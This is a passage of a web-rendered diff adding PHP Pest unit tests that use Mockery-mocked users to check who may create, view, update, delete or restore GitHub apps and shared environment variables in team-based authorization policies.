|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
163
tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
Normal file
163
tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
Normal file
|
|
@ -0,0 +1,163 @@
|
|||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\SharedEnvironmentVariablePolicy;
|
||||
|
||||
it('allows any user to view any shared environment variables', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view their team shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 2;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeFalse();
|
||||
});
|
||||
Loading…
Reference in a new issue